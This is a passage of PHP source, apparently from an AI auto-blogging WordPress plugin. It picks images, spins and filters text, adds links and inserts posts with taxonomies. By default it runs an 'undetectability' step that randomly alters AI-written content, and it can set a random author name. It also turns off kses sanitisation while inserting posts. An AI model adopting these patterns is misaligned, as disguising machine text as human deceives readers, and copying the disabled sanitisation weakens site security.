                                                    $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                    {
                                                        $string_len = strlen($title_ai_command);
                                                        $string_len = $string_len / 2;
                                                        $string_len = intval(0 - $string_len);
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                        $title_ai_command = trim($title_ai_command);
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = $max_tokens - $query_token_count;
                                                    }
                                                    $aierror = '';
                                                    $finish_reason = '';
                                                    if(!empty($global_prepend))
                                                    {
                                                        $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                    }
                                                    if(!empty($global_append))
                                                    {
                                                        $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command);
                                                    }
                                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating image search keywords'));
                                                    $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true);
                                                    if($generated_text === false)
                                                    {
                                                        aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                        $ai_title = '';
                                                    }
                                                    else
                                                    {
                                                        $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                        $ai_titles = explode(',', $ai_title);
                                                        foreach($ai_titles as $query_words)
                                                        {
                                                            $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                            if(!empty($z_img))
                                                            {
                                                                $get_img = $z_img;
                                                                $go_local_image = false;
                                                                if(!function_exists('is_plugin_active'))
                                                                {
                                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                }
                                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                {
                                                                    $go_local_image = true;
                                                                }
                                                                if($go_local_image == true)
                                                                {
                                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                                    if($localpath !== false)
                                                                    {
                                                                        $get_img = $localpath[0];
                                                                    }
                                                                }
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                }
                                                                break;
                                                            }
                                                        }
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                    }
                                                }
                                            }
                                        }
                                        if(empty($get_img))
                                        {
                                            if($image_query_set == true && !empty($image_query))
                                            {
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Processing royalty free image'));
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $keyword_class = new Aiomatic_keywords();
                                                        $image_query = $keyword_class->keywords($image_query, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                    }
                                                }
                                            }
                                            if(empty($get_img))
                                            {
                                                $keyword_class = new Aiomatic_keywords();
                                                $query_words = $keyword_class->keywords($post_title, 2);
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $query_words = $keyword_class->keywords($post_title, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                        if($get_img == '' || $get_img === false)
                                                        {
                                                            if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                            {
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                                }
                                                                unset($post_title_lines[$current_index]);
                                                                continue;
                                                            }
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(isset($aiomatic_Main_Settings['no_royalty_skip']) && $aiomatic_Main_Settings['no_royalty_skip'] == 'on')
                                                        {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('Skipping importing because no royalty free image found.');
                                                            }
                                                            unset($post_title_lines[$current_index]);
                                                            continue;
                                                        }
                                                    }
                                                }
                                            }
                                            if(!empty($get_img))
                                            {
                                                $go_local_image = false;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                {
                                                    $go_local_image = true;
                                                }
                                                if($go_local_image == true)
                                                {
                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                    if($localpath !== false)
                                                    {
                                                        $get_img = $localpath[0];
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                $my_post                              = $csv;
                                if(isset($my_post['post_content']) && stristr($my_post['post_content'], '<pre><code><') !== false)
                                {
                                    if (!isset($aiomatic_Main_Settings['pre_code_off']) || trim($aiomatic_Main_Settings['pre_code_off']) != 'on')
                                    {
                                        $my_post['post_content'] = aiomatic_parse_pre_code_entities($my_post['post_content']);
                                    }
                                }
                                $my_post['aiomatic_post_image']       = $get_img;
                                if(stristr($csv['featured_image_generator'], 'stability') !== false)
                                {
                                    $my_post['aiomatic_local_image']      = '1';
                                }
                                else
                                {
                                    $my_post['aiomatic_local_image']      = '0';
                                }
                                $my_post['aiomatic_enable_pingbacks'] = $enable_pingback;
                                $my_post['post_type']                 = $post_type;
                                $my_post['comment_status']            = $accept_comments;
                                if (isset($aiomatic_Main_Settings['draft_first']) && $aiomatic_Main_Settings['draft_first'] != 'on')
                                {
                                    if($post_status == 'publish')
                                    {
                                        $draft_me = true;
                                        $my_post['post_status'] = 'draft';
                                    }
                                    else
                                    {
                                        $my_post['post_status']   = $post_status;
                                    }
                                }
                                else
                                {
                                    $my_post['post_status']               = $post_status;
                                }
                                if($user_name_type == 'rand')
                                {
                                    $randid = aiomatic_display_random_user();
                                    if($randid === false)
                                    {
                                        $my_post['post_author']               = aiomatic_randomName();
                                    }
                                    else
                                    {
                                        $my_post['post_author']               = $randid->ID;
                                    }
                                }
                                else
                                {
                                    $my_post['post_author']               = $post_user_name;
                                }
                                if($strip_title == '1')
                                {
                                    $my_post['post_content'] = str_replace($my_post['post_title'], '', $my_post['post_content']);
                                    $my_post['post_content'] = str_replace('<h2></h2>', '', $my_post['post_content']);
                                    $my_post['post_content'] = str_replace('<h3></h3>', '', $my_post['post_content']);
                                }
                                if (isset($aiomatic_Main_Settings['swear_filter']) && $aiomatic_Main_Settings['swear_filter'] == 'on') 
                                {
                                    require_once(dirname(__FILE__) . "/res/swear.php");
                                    $my_post['post_content'] = aiomatic_filterwords($my_post['post_content']);
                                }
                                if(isset($aiomatic_Main_Settings['global_ban_words']) && $aiomatic_Main_Settings['global_ban_words'] != '') {
                                    $continue    = false;
                                    $aiomatic_Main_Settings['global_ban_words'] = trim(trim(trim($aiomatic_Main_Settings['global_ban_words']), ','));
                                    $banned_list = explode(',', $aiomatic_Main_Settings['global_ban_words']);
                                    foreach ($banned_list as $banned_word) {
                                        if (stripos($my_post['post_content'], trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($my_post['post_title']) . '", because it\'s content contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                        if (stripos($my_post['post_title'], trim($banned_word)) !== FALSE) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($my_post['post_title']) . '", because it\'s title contains global banned word: ' . $banned_word);
                                            }
                                            $continue = true;
                                            break;
                                        }
                                    }
                                    if ($continue === true) {
                                        continue;
                                    }
                                }
                                if(isset($aiomatic_Main_Settings['global_req_words']) && $aiomatic_Main_Settings['global_req_words'] != '')
                                {
                                    if(isset($aiomatic_Main_Settings['require_only_one']) && $aiomatic_Main_Settings['require_only_one'] == 'on')
                                    {
                                        $continue      = true;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($my_post['post_content'], trim($required_word)) !== FALSE || stripos($my_post['post_title'], trim($required_word)) !== FALSE) {
                                                $continue = false;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($my_post['post_title']) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                    else
                                    {
                                        $continue      = false;
                                        $aiomatic_Main_Settings['global_req_words'] = trim(trim(trim($aiomatic_Main_Settings['global_req_words']), ','));
                                        $required_list = explode(',', $aiomatic_Main_Settings['global_req_words']);
                                        foreach ($required_list as $required_word) {
                                            if (stripos($my_post['post_content'], trim($required_word)) === FALSE && stripos($my_post['post_title'], trim($required_word)) === FALSE) {
                                                $continue = true;
                                                break;
                                            }
                                        }
                                        if ($continue === true) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Skipping post "' . esc_html($my_post['post_title']) . '", because it\'s content doesn\'t contain global required words.');
                                            }
                                            continue;
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['spin_what']) && $aiomatic_Main_Settings['spin_what'] === 'omni') 
                                {
                                    $skip_spin = '1';
                                }
                                $arr = aiomatic_spin_and_translate($my_post['post_title'], $my_post['post_content'], '3', $skip_spin, $skip_translate);
                                if($arr[0] != $my_post['post_title'])
                                {
                                    $my_post['post_title'] = $arr[0];
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $posts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($my_post['post_title']),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $posts ) ) {
                                            $zap = $posts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing (after spin/translate), skipping it: ' . $my_post['post_title']);
                                                unset($post_title_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $my_post['post_content'] = $arr[1];
                                if (isset($aiomatic_Main_Settings['spin_text']) && $aiomatic_Main_Settings['spin_text'] !== 'disabled') 
                                {
                                    $already_spinned = '1';
                                }
                                $my_post['tags_input'] = $my_post['post_tags'];
                                if ($strip_by_regex !== '')
                                {
                                    $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex);
                                    $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex);
                                    $xcnt = 0;
                                    foreach($xstrip_by_regex as $sbr)
                                    {
                                        if(isset($xreplace_regex[$xcnt]))
                                        {
                                            $repreg = $xreplace_regex[$xcnt];
                                        }
                                        else
                                        {
                                            $repreg = '';
                                        }
                                        $xcnt++;
                                        $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post['post_content']);
                                        if($temp_cont !== NULL)
                                        {
                                            $my_post['post_content'] = $temp_cont;
                                        }
                                    }
                                }
                                $zlang = 'en_US';
                                if (isset($aiomatic_Main_Settings['kw_lang']) && !empty($aiomatic_Main_Settings['kw_lang'])) {
                                    $zlang = $aiomatic_Main_Settings['kw_lang'];
                                }
                                $rel_search = array('post_title', 'post_content');
                                if (isset($aiomatic_Main_Settings['rel_search']) && is_array($aiomatic_Main_Settings['rel_search'])) {
                                    $rel_search = $aiomatic_Main_Settings['rel_search'];
                                }
                                if($max_links !== '' && $inboundlinker !== null && $link_type != 'disabled')
                                {
                                    try
                                    {
                                        $my_post['post_content'] = $inboundlinker->add_inbound_links($my_post['post_content'], $max_links, $link_post_types, $zlang, $rel_search, null, $link_type, $link_list, $link_nofollow);
                                    }
                                    catch(Exception $ex)
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('Failed to add inbound links to content: ' . $ex->getMessage());
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['nlbr_parse']) && $aiomatic_Main_Settings['nlbr_parse'] == 'on')
                                {
                                    $my_post['post_content'] =  nl2br($my_post['post_content']);
                                }
                                if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') 
                                {
                                    $my_post['post_content'] = aiomatic_remove_parasite_phrases($my_post['post_content']);
                                    if(!isset($xchars))
                                    {
                                        $xchars = array();
                                    }
                                    $rand_percentage = rand(10, 20);
                                    $my_post['post_content'] = aiomatic_make_unique($my_post['post_content'], $xchars, $rand_percentage);
                                }
                                if($ret_content == 1)
                                {
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Returning AI generated content, finished.');
                                    }
                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Finished processing'));
                                    return array($my_post['post_content'], $my_post['post_title']);
                                }
                                $my_post['aiomatic_source_title']   = $csv_original_title;
                                $my_post['aiomatic_timestamp']   = aiomatic_get_date_now();
                                $my_post['aiomatic_post_format'] = $post_format;
                                $block_arr = array();
                                $custom_arr = array();
                                if($custom_fields != '')
                                {
                                    if(stristr($custom_fields, '=>') != false)
                                    {
                                        foreach($csv as $ind => $valx)
                                        {
                                            foreach($csv as $repl_ind => $repl_valx)
                                            {
                                                $custom_fields = str_replace('%%' . $repl_ind . '%%', $repl_valx, $custom_fields);
                                            }
                                            $custom_fields = aiomatic_replaceSynergyShortcodes($custom_fields);
                                        }
                                        foreach($csv as $ind => $valx)
                                        {
                                            $custom_fields = apply_filters('aiomatic_replace_aicontent_shortcode', $custom_fields);
                                        }
                                        $rule_arr = explode(',', trim($custom_fields));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $my_args[1] = do_shortcode($my_args[1]);
                                                $my_args[0] = do_shortcode($my_args[0]);
                                                $custom_field_content = trim($my_args[1]);
                                                $custom_field_content = $spintax->Parse($custom_field_content, $block_arr);
                                                $custom_field_content = aiomatic_replaceContentShortcodes($custom_field_content, $img_attr, $ai_command);
                                                if(stristr($my_args[1], 'serialize_') !== false)
                                                {
                                                    $custom_arr[trim($my_args[0])] = array(str_replace('serialize_', '', $custom_field_content));
                                                }
                                                else
                                                {
                                                    if(stristr($my_args[0], '[') !== false && stristr($my_args[0], ']') !== false)
                                                    {
                                                        preg_match_all('#([^\[\]]*?)\[([^\[\]]*?)\]#', $my_args[0], $cfm);
                                                        if(isset($cfm[2][0]))
                                                        {
                                                            if(isset($custom_arr[trim($cfm[1][0])]) && is_array($custom_arr[trim($cfm[1][0])]))
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array_merge($custom_arr[trim($cfm[1][0])], array(trim($cfm[2][0]) => $custom_field_content));
                                                            }
                                                            else
                                                            {
                                                                $custom_arr[trim($cfm[1][0])] = array(trim($cfm[2][0]) => $custom_field_content);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        $custom_arr[trim($my_args[0])] = $custom_field_content;
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                $custom_arr = array_merge($custom_arr, array('aiomatic_auto_post_spinned' => $already_spinned, 'aiomatic_post_cats' => $csv['post_categories'], 'aiomatic_post_tags' => $csv['post_tags']));
                                $custom_tax_arr = array();
                                if($custom_tax != '')
                                {
                                    if(stristr($custom_tax, '=>') != false)
                                    {
                                        foreach($csv as $ind => $valx)
                                        {
                                            foreach($csv as $repl_ind => $repl_valx)
                                            {
                                                $custom_tax = str_replace('%%' . $repl_ind . '%%', $repl_valx, $custom_tax);
                                            }
                                            $custom_tax = aiomatic_replaceSynergyShortcodes($custom_tax);
                                        }
                                        foreach($csv as $ind => $valx)
                                        {
                                            $custom_tax = apply_filters('aiomatic_replace_aicontent_shortcode', $custom_tax);
                                        }
                                        $rule_arr = explode(';', trim($custom_tax));
                                        foreach($rule_arr as $rule)
                                        {
                                            $my_args = explode('=>', trim($rule));
                                            if(isset($my_args[1]))
                                            {
                                                $custom_tax_content = trim($my_args[1]);
                                                $custom_tax_content = $spintax->Parse($custom_tax_content, $block_arr);
                                                $custom_tax_content = aiomatic_replaceContentShortcodes($custom_tax_content, $img_attr, $ai_command);
                                                if(substr(trim($my_args[0]), 0, 3) === "pa_" && $post_type == 'product' && !empty($custom_tax_content))
                                                {
                                                    if(isset($custom_arr['_product_attributes']))
                                                    {
                                                        $custom_arr['_product_attributes'] = array_merge($custom_arr['_product_attributes'], array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        )));
                                                    }
                                                    else
                                                    {
                                                        $custom_arr['_product_attributes'] = array(trim($my_args[0]) =>array(
                                                            'name' => trim($my_args[0]),
                                                            'value' => $custom_tax_content,
                                                            'is_visible' => '1',
                                                            'is_taxonomy' => '1'
                                                        ));
                                                    }
                                                }
                                                if(isset($custom_tax_arr[trim($my_args[0])]))
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] .= ',' . $custom_tax_content;
                                                }
                                                else
                                                {
                                                    $custom_tax_arr[trim($my_args[0])] = $custom_tax_content;
                                                }
                                            }
                                        }
                                    }
                                }
                                if(count($custom_tax_arr) > 0)
                                {
                                    $my_post['taxo_input'] = $custom_tax_arr;
                                }
                                $my_post['meta_input'] = $custom_arr;
                                if($parent_id != '')
                                {
                                    $my_post['post_parent'] = intval($parent_id);
                                }
                                if ($enable_pingback == '1') {
                                    $my_post['ping_status'] = 'open';
                                } else {
                                    $my_post['ping_status'] = 'closed';
                                }
                                if($min_time != '' && $max_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    $t2 = strtotime($max_time);
                                    if($t1 != false && $t2 != false)
                                    {
                                        $int = rand($t1, $t2);
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $int);
                                    }
                                }
                                elseif($min_time != '')
                                {
                                    $t1 = strtotime($min_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                elseif($max_time != '')
                                {
                                    $t1 = strtotime($max_time);
                                    if($t1 != false)
                                    {
                                        $my_post['post_date'] = date('Y-m-d H:i:s', $t1);
                                    }
                                }
                                $count++;
                                if($update_post_id != '')
                                {
                                    $my_post['ID'] = $update_post_id;
                                }
                                remove_filter('content_save_pre', 'wp_filter_post_kses');
                                remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses');
                                try
                                {
                                    $post_id = wp_insert_post($my_post, true);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Exception in publishing post (this is coming from another plugin, so we ignore it): ' . $e->getMessage());
                                }
                                add_filter('content_save_pre', 'wp_filter_post_kses');
                                add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses');
                                if (!is_wp_error($post_id)) {
                                    if($post_id === 0)
                                    {
                                        aiomatic_log_to_file('An error occurred while inserting post into wp database! Title:' . $my_post['post_title']);
                                        continue;
                                    }
                                    $posts_inserted++;
                                    if($wpml_lang != '' && function_exists('pll_set_post_language'))
                                    {
                                        pll_set_post_language($post_id, $wpml_lang);
                                    }
                                    $default_categories = array();
                                    if($remove_default == '1' && $my_post['post_categories'] != '')
                                    {
                                        $default_categories = wp_get_post_categories($post_id);
                                    }
                                    if(isset($my_post['taxo_input']))
                                    {
                                        foreach($my_post['taxo_input'] as $taxn => $taxval)
                                        {
                                            $taxn = trim($taxn);
                                            $taxval = trim($taxval);
                                            if(is_taxonomy_hierarchical($taxn))
                                            {
                                                $taxval = array_map('trim', explode(',', $taxval));
                                                for($ii = 0; $ii < count($taxval); $ii++)
                                                {
                                                    if(!is_numeric($taxval[$ii]))
                                                    {
                                                        $term_ids = [];
                                                        $parent_id = 0;
                                                        $hierarchy_parts = array_map('trim', explode('>', $taxval[$ii]));
                                                        foreach($hierarchy_parts as $hp)
                                                        {
                                                            if(!is_numeric($hp))
                                                            {
                                                                $xtermid = get_term_by('name', $hp, $taxn);
                                                                if($xtermid !== false)
                                                                {
                                                                    $parent_id = $xtermid->term_id;
                                                                    if(!is_numeric($taxval[$ii]))
                                                                    {
                                                                        $taxval[$ii] = intval($xtermid->term_id);
                                                                    }
                                                                    else
                                                                    {
                                                                        $taxval[] = intval($xtermid->term_id);
                                                                    }
                                                                }
                                                                else
                                                                {
                                                                    wp_insert_term( $hp, $taxn, ['parent' => $parent_id]);
                                                                    $xtermid = get_term_by('name', $hp, $taxn);
                                                                    if($xtermid !== false)
                                                                    {
                                                                        $parent_id = $xtermid->term_id;
                                                                        if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                                                        {
                                                                            pll_set_term_language($xtermid->term_id, $wpml_lang); 
                                                                        }
                                                                        elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                                                        {
                                                                            $wpml_element_type = apply_filters( 'wpml_element_type', $taxn );
                                                                            $pars['element_id'] = $xtermid->term_id;
                                                                            $pars['element_type'] = $wpml_element_type;
                                                                            $pars['language_code'] = $wpml_lang;
                                                                            $pars['trid'] = FALSE;
                                                                            $pars['source_language_code'] = NULL;
                                                                            do_action('wpml_set_element_language_details', $pars);
                                                                        }
                                                                        if(!is_numeric($taxval[$ii]))
                                                                        {
                                                                            $taxval[$ii] = intval($xtermid->term_id);
                                                                        }
                                                                        else
                                                                        {
                                                                            $taxval[] = intval($xtermid->term_id);
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                            else
                                                            {
                                                                if(!is_numeric($taxval[$ii]))
                                                                {
                                                                    $taxval[$ii] = intval($hp);
                                                                }
                                                                else
                                                                {
                                                                    $taxval[] = intval($hp);
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                wp_set_post_terms($post_id, $taxval, $taxn, true);
                                            }
                                            else
                                            {
                                                $jterms = array_map('trim', explode(',', $taxval));
                                                wp_set_post_terms($post_id, $jterms, $taxn, true);
                                            }
                                        }
                                    }
                                    if (isset($my_post['aiomatic_post_format']) && $my_post['aiomatic_post_format'] != '' && $my_post['aiomatic_post_format'] != 'post-format-standard') {
                                        wp_set_post_terms($post_id, $my_post['aiomatic_post_format'], 'post_format', true);
                                    }
                                    $featured_path = '';
                                    $get_img = $my_post['aiomatic_post_image'];
                                    if ($get_img != '') {
                                        if($my_post['aiomatic_local_image'] == '1')
                                        {
                                            $local_get_img = $get_img[0];
                                            if (!aiomatic_assign_featured_image_path($local_get_img, $post_id)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed for ' . $local_get_img);
                                                }
                                            } else {
                                                $featured_path = $get_img[1];
                                            }
                                        }
                                        else
                                        {
                                            if(is_numeric($get_img))
                                            {
                                                $featured_path = aiomatic_assign_featured_image($get_img, $post_id);
                                            }
                                            else
                                            {
                                                if (!aiomatic_generate_featured_image($get_img, $post_id)) {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('aiomatic_generate_featured_image failed for ' . $get_img);
                                                    }
                                                } else {
                                                    $featured_path = $get_img;
                                                }
                                            }
                                        }
                                    }
                                    if ($my_post['post_categories'] != '') {
                                        $extra_cats = explode(',', $my_post['post_categories']);
                                        foreach($extra_cats as $extra_cat)
                                        {
                                            $extra_cat = trim($extra_cat);
                                            $extra_cat = strip_tags($extra_cat);
                                            $extra_cat = preg_replace('#^\d+\.\s*#', '', $extra_cat);
                                            if($post_type == 'product')
                                            {
                                                $product_tax = 'product_cat';
                                            }
                                            else
                                            {
                                                $product_tax = 'category';
                                            }
                                            if(empty($extra_cat))
                                            {
                                                continue;
                                            }
                                            if ($skip_inexist == '1') 
                                            {
                                                if(!term_exists($extra_cat, $product_tax))
                                                {
                                                    continue;
                                                }
                                            }
                                            $termid = aiomatic_create_terms($product_tax, null, trim($extra_cat));
                                            wp_set_post_terms($post_id, $termid, $product_tax, true);
                                            if($wpml_lang != '' && function_exists('pll_set_term_language'))
                                            {
                                                foreach($termid as $tx)
                                                {
                                                    pll_set_term_language($tx, $wpml_lang); 
                                                }
                                            }
                                            elseif($wpml_lang != '' && has_filter('wpml_object_id'))
                                            {
                                                $wpml_element_type = apply_filters( 'wpml_element_type', 'product_cat' );
                                                foreach($termid as $tx)
                                                {
                                                    $pars['element_id'] = $tx;
                                                    $pars['element_type'] = $wpml_element_type;
                                                    $pars['language_code'] = $wpml_lang;
                                                    $pars['trid'] = FALSE;
                                                    $pars['source_language_code'] = NULL;
                                                    do_action('wpml_set_element_language_details', $pars);
                                                }
                                            }
                                        }
                                    }
                                    if (isset($my_post['tags_input']) && $my_post['tags_input'] != '')
                                    {
                                        if($post_type == 'product')
                                        {
                                            wp_set_post_terms($post_id, $my_post['tags_input'], 'product_tag', true);
                                        }
                                    }
                                    $tax_rez = wp_set_object_terms( $post_id, 'aiomatic_' . $type . '_' . $param, 'coderevolution_post_source', true);
                                    if (is_wp_error($tax_rez)) {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                            aiomatic_log_to_file('wp_set_object_terms failed for: ' . $post_id . '!');
                                        }
                                    }
                                    if($post_type == 'topic' && $parent_id != '')
                                    {
                                        update_post_meta($post_id, '_bbp_forum_id', $parent_id);
                                        update_post_meta($post_id, '_bbp_topic_id', $post_id);
                                        update_post_meta($post_id, '_bbp_voice_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count', '0');
                                        update_post_meta($post_id, '_bbp_reply_count_hidden', '0');
                                        update_post_meta($post_id, '_bbp_last_reply_id', '0');
                                        update_post_meta($post_id, '_bbp_last_active_id', $post_id);
                                        update_post_meta($post_id, '_bbp_last_active_time', get_post_field( 'post_date', $topic_id, 'db' ));
                                        do_action( 'bbp_insert_topic', (int) $post_id, (int) $parent_id );
                                    }
                                    if($post_type == 'reply' && $parent_id != '')
                                    {
                                        if(function_exists('bbp_get_topic_forum_id'))
                                        {
                                            $forum_aidi = bbp_get_topic_forum_id($parent_id);
                                            if(empty($forum_aidi))
                                            {
                                                $forum_aidi = 0;
                                            }
                                        }
                                        else
                                        {
                                            $forum_aidi = 0;
                                        }
                                        do_action( 'bbp_insert_reply', (int) $post_id, (int) $parent_id, (int) $forum_aidi );
                                    }
                                    if($remove_default == '1' && $my_post['post_categories'] != '')
                                    {
                                        $new_categories = wp_get_post_categories($post_id);
                                        if(isset($default_categories) && !($default_categories == $new_categories))
                                        {
                                            foreach($default_categories as $dc)
                                            {
                                                $rem_cat = get_category( $dc );
                                                wp_remove_object_terms( $post_id, $rem_cat->slug, 'category' );
                                            }
                                        }
                                    }
                                    $my_post['extra_tags'] = '';
                                    $my_post['extra_categories'] = '';
                                    aiomatic_addPostMeta($post_id, $my_post, $param, $type, $get_img, '', $rule_unique_id, $post_link);
                                    if($wpml_lang != '' && (class_exists('SitePress') || function_exists('wpml_object_id')))
                                    {
                                        $wpml_element_type = apply_filters( 'wpml_element_type', $post_type );
                                        $pars['element_id'] = $post_id;
                                        $pars['element_type'] = $wpml_element_type;
                                        $pars['language_code'] = $wpml_lang;
